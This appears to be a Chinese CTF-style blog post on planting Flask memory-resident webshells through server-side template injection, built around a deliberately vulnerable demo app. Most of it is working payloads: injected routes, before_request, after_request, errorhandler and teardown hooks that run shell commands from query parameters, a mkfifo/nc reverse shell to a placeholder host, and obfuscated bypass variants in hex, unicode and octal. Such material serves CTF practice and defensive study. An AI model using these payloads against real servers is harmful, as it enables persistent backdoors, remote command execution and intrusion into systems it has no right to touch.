0%

基于flask的内存马

本期推荐

泪桥 -伍佰
III - Athletics

前言

众所周知,我们的题目可以分为出网与不出网两种模式,要是遇到可以出网的情况,最好还是弹shell,但是若是不能出网,内存马是我们的保底解
但是也是有特殊情况的,比如在下文我们要介绍的一种钩子函数:teardown_request,由于这种钩子函数无回显的特性,我们可以选择弹shell(也可以重定向到某个目录下)

内存马与flask

我们一般常见的python框架有Django和Flask(不知道为啥拉蒙特徐那么爱出bottle),python的内存马中一般就是利用flask框架的ssti来进行注入,一般来说都在渲染的时候没对用户传输的代码进行过滤,所以用户可以用类似ssti的方式注入内存马,得到shell

前置知识

flask的请求上下文管理机制

在我们request进入flask的时候,就会实例化一个request context,这个时候就会分成两种上下文,一种是请求上下文(request context),另外一种是应用上下文(session context)

上下文的结构均为stack的栈结构。大家都知道栈这种数据结构的特点,也就是后进先出,可以想象成一盒泡腾片,最后放进去的泡腾片会最先被拿出来

这个request context实例化后就拥有了一个栈的全部的特性了,在实例化后会被push到栈_request_ctx_stack中,根据这层特性就可以通过获取栈顶元素的方法来获取当前的请求

应用上下文:
current_app:当前运行的flask实例
g:用于在一次请求中临时存储数据的对象(如数据库连接)

请求上下文:
request:封装了http的请求信息
session:用户会话对象,基于cookie

钩子的区别

钩子分为两种

  1. 全局钩子(所有请求)
  2. 模块钩子(蓝图钩子)

POC环境搭建

上网找了一个现成的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route('/')
def hello_world(): # put application's code here
person = 'knave'
if request.args.get('cmd'):
person = request.args.get('cmd')
template = '<h1>Hi, %s.</h1>' % person
return render_template_string(template)


if __name__ == '__main__':
app.run()

可以直接在vps上试试看

老版内存马

第一种payload

在flask基础开发那里我有提到过一种添加url路由的方法,也就是add_url_rule,可以直接根据你给的参数名生成路由

1
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

很长一串啊,想起来了被pyjail支配的恐怖日子,丢给AI整理一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 从 url_for 的全局变量里拿到必要对象
builtins = url_for.__globals__['__builtins__']
request_ctx_stack = url_for.__globals__['_request_ctx_stack']
app = url_for.__globals__['current_app']

# 动态执行 Python 代码:给 Flask 应用加一个 /shell 路由
builtins['eval'](
"""
app.add_url_rule(
'/shell', # 路由路径
'shell', # 端点名称
lambda: __import__('os') # 路由对应的视图函数
.popen(
_request_ctx_stack.top.request.args.get('cmd', 'whoami')
)
.read()
)
""",
{
'_request_ctx_stack': request_ctx_stack,
'app': app
}
)

逐一分析解释

1.

1
builtins = url_for.__globals__['__builtins__']

拿到flask模块的全局命名空间,然后把其中的builtins类丢给了同名变量

1
2
request_ctx_stack = url_for.__globals__['_request_ctx_stack']
app = url_for.__globals__['current_app']

这两个也是同理,上文都介绍过了这两个东西
2.
后续从builtins中拿出来eval

add_url_rule()详解

前文有提到过相关内容,主要有5个参数

1
add_url_rule(rule, endpoint=None, view_func=None, provide_automatic_options=None,options)
1
2
3
4
5
1. rule就可以简单的理解为url路径
2. endpoint可以理解为端点名称
3. view_func就是视图函数
4. provide_automatic_options: 控制是否应自动添加选项方法.
5. options: 要转发到基础规则对象的选项,其他可选参数,比如定义运行的http方法
  1. 看看我们的老版payload,在视图函数处定义了一个lamnda匿名函数
1
2
3
4
5
lambda: __import__('os')       # 路由对应的视图函数
.popen(
_request_ctx_stack.top.request.args.get('cmd', 'whoami')
)
.read()

这里就很显然了

这里定义了一个匿名函数,os->popen->拿到了栈的最顶端请求request对象(前文也有提到),然后就用cmd这个get参数,构造了一个系统命令,然后执行输出

老版内存马这里的lambda写在了视图函数处,所以说当中国add_url_rule被成功执行的时候,用户一旦切到所插入的/shell的页面,就会执行这个lambda
所以可以达到执行whoami

  1. 后面那段就是局部变量字典之流
1
2
3
4
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}

第二种payload

似乎是用了和之前XYCTF中拉蒙特徐说过的那种特性

也就是说一个模块其中的某个部分,如os.a这样子的拿出来重新赋值,然后再调用的时候就是我们赋的值那样(当然我感觉只是类似而已,并非相同)

下面这段内容摘自sun师傅的博客,我感觉讲的非常好,没有什么可以补充的了

1
2
3
4
5
6
7
8
众所周知,sys.modules['__main__']为当前运行的主模块(也就是正在执行的.py文件)对应的模块对象
把你执行的文件当作一个模块载入
把它的名字设为 "__main__"(不管你文件叫什么)
把这个模块的变量、函数、类都注册到 sys.modules['__main__'] 中
可以等价一下
globals() == sys.modules['__main__'].__dict__

```​

所以我们可以去更改main里面的app(一般都是app),把路由绑定上lambda函数,最后实现打入内存马

1
2
3
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())

__import__('sys').modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda:__import__('os').popen(__import__('flask').request.args.get('cmd')).read())

导入模块若成功,那么打入内存马应该也是没什么问题的

新版内存马

关于特殊装饰器(钩子函数)

装饰器的内容在我们前面开发的那篇博客中就已经说过了

常见的特殊装饰器有:

  1. before_request
  2. after_request
  3. errorhandler
  4. teardown_appcontext
  5. teardown_request

before_request方法

这个方法可以让我们在每次的请求之前进行一些操作,在flask的基础开发中,一般是用这个方法来进行一些预处理操作,比如身份验证

跟进源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
  @setupmethod
def before_request(self, f: T_before_request) -> T_before_request:
"""Register a function to run before each request.

For example, this can be used to open a database connection, or
to load the logged in user from the session.

.. code-block:: python

@app.before_request
def load_user():
if "user_id" in session:
g.user = db.session.get(session["user_id"])

The function will be called without any arguments. If it returns
a non-``None`` value, the value is handled as if it was the
return value from the view, and further request handling is
stopped.

This is available on both app and blueprint objects. When used on an app, this
executes before every request. When used on a blueprint, this executes before
every request that the blueprint handles. To register with a blueprint and
execute before every request, use :meth:`.Blueprint.before_app_request`.
"""
self.before_request_funcs.setdefault(None, []).append(f)
return f

大段大段的注释
看到最后有一个 before_request_funcs

这个就是before_request装饰器的底层逻辑,作用就是把我定义的函数注册为一个请求前钩子函数

在这里before_request实际上调用的就是self.before_request_funcs.setdefault(None, []).append(f)
意思就是

  1. 检查self.before_request_funcs.setdefault字典中是否有一个键为None的条目
  2. 若没有None键,就在字典中创建它,并且把它的值设置为一个空列表
  3. 无论None键是否存在,都会把f添加到这个列表中,然后before_request的时候调用

这个f就是访问值,我们把f定义为一个lambda函数,那么每次请求前就可以被调用

这个函数在app中,我们可以通过sys.modules来夺取(这个在上面我们也有提到过)

payload

1
{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(__import__('flask').request.args.get('a')).read())")}}&a=whoami

这里通过动态导入 sys 模块,获取当前 Flask 应用实例 app,并将一个匿名函数添加到 app 的请求前处理函数列表中,利用before_request装饰器触发自定义后门函数执行命令
包子王的那个先导一遍app再打payload,我感觉是挺麻烦的
然后再看两条其实意义也差不多的payload

1
2
3
url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda:__import__('os').popen('whoami').read())")

eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())")

其中第二条payload中

1
__import__('sys').modules['__main__'].__dict__['app']

这个可以获取当前的flask实例,那你自然就可以得到before_request_funcs.setdefault

after_request方法

我英语并不好,但是看到了名字也大概清楚是做什么用的

依然爆炒源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@setupmethod
def after_request(self, f: T_after_request) -> T_after_request:
"""Register a function to run after each request to this object.

The function is called with the response object, and must return
a response object. This allows the functions to modify or
replace the response before it is sent.

If a function raises an exception, any remaining
``after_request`` functions will not be called. Therefore, this
should not be used for actions that must execute, such as to
close resources. Use :meth:`teardown_request` for that.

This is available on both app and blueprint objects. When used on an app, this
executes after every request. When used on a blueprint, this executes after
every request that the blueprint handles. To register with a blueprint and
execute after every request, use :meth:`.Blueprint.after_app_request`.
"""
self.after_request_funcs.setdefault(None, []).append(f)
return f

长得和before_request差不多

payload

1
url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})

但是众所周知
after和before的区别就是,after之后就没有response了,而before有,所以我们before的内存马可以那么构造
而after,仅通过lambda无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response
把payload整理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
url_for.__globals__['__builtins__']['eval'](
'''
app.after_request_funcs.setdefault(None, []).append(
lambda resp: CmdResp if request.args.get('cmd') and exec(
\"\"\"
global CmdResp;
CmdResp = __import__('flask').make_response(
__import__('os').popen(request.args.get('cmd')).read()
)
\"\"\"
) == None else resp
)
''',
{
'request': url_for.__globals__['request'],
'app': url_for.__globals__['current_app']
}
)

仔细的理解一下中间的lambda表达式

1
2
3
4
5
6
7
8
lambda resp: #传入resp参数
CmdResp if request.args.get('cmd') and #如果请求参数含有cmd则返回命令执行结果
exec('
global CmdResp; #定义一个全局变量,方便获取
CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read()) #创建一个响应对象
')==None #exec函数返回None,所以恒真
else resp) #如果请求参数没有cmd则正常返回
#这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务

三元表达式

1
A if condition else B

即:若condition为真,返回A,否则B

接下来要清楚,exec返回的结果都是None,所以and后面是恒真的(之前出题的时候也有遇到过,索性记下来了)

1
CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())

这其中为什么字符串中要有\呢,因为我们写的payload是一个字符串形式的python代码,那么转义就很有必要了,这里就是起到转义的作用

这最后再else resp是因为after_request是要定义一个返回值的,否则回报错,所以我们这里万一没传参也要返回一个response

errorhandler方法

这个可以用于自定义404页面的回显,flask404的时候,我们用errorhandler定义的自定义的错误处理函数就会处理错误,并且返回适当的响应

看看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@setupmethod
def errorhandler(
self, code_or_exception: t.Union[t.Type[Exception], int]
) -> t.Callable[["ErrorHandlerCallable"], "ErrorHandlerCallable"]:
"""注册一个函数以处理按代码或异常类的错误。

一个装饰器,用于注册给定错误代码的函数。例如:

@app.errorhandler(404)
def page_not_found(error):
return '此页面不存在', 404

你也可以注册任意异常的处理程序:

@app.errorhandler(DatabaseError)
def special_exception_handler(error):
return '数据库连接失败', 500
"""
def decorator(f: "ErrorHandlerCallable") -> "ErrorHandlerCallable":
self.register_error_handler(code_or_exception, f)
return f

return decorator

f就是我们定义的处理函数,但是我们还是得去跟进看一下register_error_handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def register_error_handler(
self,
code_or_exception: t.Union[t.Type[Exception], int],
f: "ErrorHandlerCallable",
) -> None:
if isinstance(code_or_exception, HTTPException): # old broken behavior
raise ValueError(
"Tried to register a handler for an exception instance"
f" {code_or_exception!r}. Handlers can only be"
" registered for exception classes or HTTP error codes."
)

try:
exc_class, code = self._get_exc_class_and_code(code_or_exception)
except KeyError:
raise KeyError(
f"'{code_or_exception}' is not a recognized HTTP error"
" code. Use a subclass of HTTPException with that code"
" instead."
) from None

self.error_handler_spec[None][code][exc_class] = f

这里就是直接把结果赋值给f回显到错误的页面

payload

1
{{ url_for.__globals__.__builtins__.exec("global exc_class; global code; exc_class, code = app._get_exc_class_and_code(404); app.error_handler_spec[None][code][exc_class] = lambda a: __import__('os').popen(request.args.get('cmd')).read()",{'request': url_for.__globals__['request'],'app': url_for.__globals__['current_app']})}}

teardown_appcontext

teardown_request

在每个请求之后要运行的函数,每一次的请求都会执行一次

在每个请求的最后阶段执行的,即在视图函数处理完成并生成响应后,或者在请求中发生未处理的异常时,都会执行这个 hook,他执行的事迹是在响应已经确认之后,但是最终发送给客户端之前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
def teardown_request(self, f: T_teardown) -> T_teardown:
"""Register a function to be called when the request context is
popped. Typically this happens at the end of each request, but
contexts may be pushed manually as well during testing.

.. code-block:: python

with app.test_request_context():
...

When the ``with`` block exits (or ``ctx.pop()`` is called), the
teardown functions are called just before the request context is
made inactive.

When a teardown function was called because of an unhandled
exception it will be passed an error object. If an
:meth:`errorhandler` is registered, it will handle the exception
and the teardown will not receive it.

Teardown functions must avoid raising exceptions. If they
execute code that might fail they must surround that code with a
``try``/``except`` block and log any errors.

The return values of teardown functions are ignored.

This is available on both app and blueprint objects. When used on an app, this
executes after every request. When used on a blueprint, this executes after
every request that the blueprint handles. To register with a blueprint and
execute after every request, use :meth:`.Blueprint.teardown_app_request`.
"""
self.teardown_request_funcs.setdefault(None, []).append(f)
return f

怎么又长这样?

要注意的是这个函数是没有回显的,所以我们可以利用反弹shell或者说写入文件

弹shell payload

1
url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').system('mkfifo /tmp/fifo; /bin/sh -i < /tmp/fifo | nc xxxxxxxxxxx xxxx > /tmp/fifo; rm /tmp/fifo'))")

写文件payload

1
url_for.__globals__['__builtins__']['eval']("sys.modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').popen('ls > 1.txt').read())")

teardown_appcontext

其实和teardown_request差不多,但是不能动态接受get参数
同样需要弹shell和写文件

1
{{url_for.__globals__.__builtins__['eval']("sys.modules['__main__'].__dict__['app'].teardown_appcontext_funcs.append(lambda error: __import__('os').popen('echo 2222 > 1.txt').read())")}}

一些bypass
摘自ChaMD5安全团队和the0n3师傅的博客

1
2
3
4
5
6
7
8
9
10
11
12
ByPass
在实际应用中往往都存在过滤, 因此了解如何绕过还是必要的.

url_for可替换为get_flashed_messages或者request.__init__或者request.application.
代码执行函数替换, 如exec等替换eval.
字符串可采用拼接方式, 如['__builtins__']['eval']变为['__bui'+'ltins__']['ev'+'al'].
__globals__可用__getattribute__('__globa'+'ls__')替换.
[]可用.__getitem__()或.pop()替换.
过滤{{或者}}, 可以使用{%或者%}绕过, {%%}中间可以执行if语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果.
过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]或者request['args']或者request['values']绕过.
过滤了.可以采用attr()或[]绕过.
其它的手法参考SSTI绕过过滤的方法即可…

原Payload

1
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

变形Payload-1

1
request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell', 'calc')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')})

变形Payload-2

1
get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/h3rmesk1t', 'h3rmesk1t', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('shell')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})

使用os.wrap的内置函数exec打入内存马

原始payload

1
''['__class__']['__base__']['__subclasses__']()[137]['__init__']['__globals__']['__builtins__']['exec']("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(__import__('flask').request.args.get('a')).read())")

八进制payload

1
''['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\137\137']['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[137]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\137\137\142\165\151\154\164\151\156\163\137\137']['\145\170\145\143']("\163\171\163.\155\157\144\165\154\145\163['\137\137\155\141\151\156\137\137'].\137\137\144\151\143\164\137\137['\141\160\160'].\142\145\146\157\162\145\137\162\145\161\165\145\163\164\137\146\165\156\143\163.\163\145\164\144\145\146\141\165\154\164(\116\157\156\145, []).\141\160\160\145\156\144(\154\141\155\142\144\141: \137\137\151\155\160\157\162\164\137\137('\157\163').\160\157\160\145\156(\137\137\151\155\160\157\162\164\137\137('\146\154\141\163\153').\162\145\161\165\145\163\164.\141\162\147\163.\147\145\164('\141')).\162\145\141\144())")

详细情况请看博客
https://the0n3.top/pages/77dbc1/#%E6%97%A0%E5%AD%97%E6%AF%8D%E6%89%93%E5%85%A5%E5%86%85%E5%AD%98%E9%A9%AC

总结

这篇我也鸽了10多天才补上,最近有点贪玩了(不好)